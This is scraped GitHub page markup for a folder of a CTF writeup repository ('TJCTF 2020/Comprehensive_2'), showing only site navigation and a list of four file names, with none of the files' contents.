src="/PWN-to-0xE4/Writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":267159226,"originating_url":"https://github.com/PWN-to-0xE4/Writeups/tree/master/TJCTF%202020/Comprehensive_2","user_id":null}}" data-hydro-click-hmac="e8853d20c01ecb58a0a5f8ca9bd6ef03a8cc116eb4e015cc5869d36f2e18f5bf"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/PWN-to-0xE4/Writeups/refs" cache-key="v0:1590529796.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="UFdOLXRvLTB4RTQvV3JpdGV1cHM=" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/PWN-to-0xE4/Writeups/refs" cache-key="v0:1590529796.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="UFdOLXRvLTB4RTQvV3JpdGV1cHM=" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Writeups</span></span></span><span>/</span><span><span>TJCTF 2020</span></span><span>/</span>Comprehensive_2<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Writeups</span></span></span><span>/</span><span><span>TJCTF 2020</span></span><span>/</span>Comprehensive_2<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/PWN-to-0xE4/Writeups/tree-commit/cb84d3d5cfffa1ad2fd356b84e2195539aa02bf3/TJCTF%202020/Comprehensive_2" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/PWN-to-0xE4/Writeups/file-list/master/TJCTF%202020/Comprehensive_2"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Comprehensive 2.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Comprehensive 2.pdf</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>brute.c</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>comprehensive_2.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 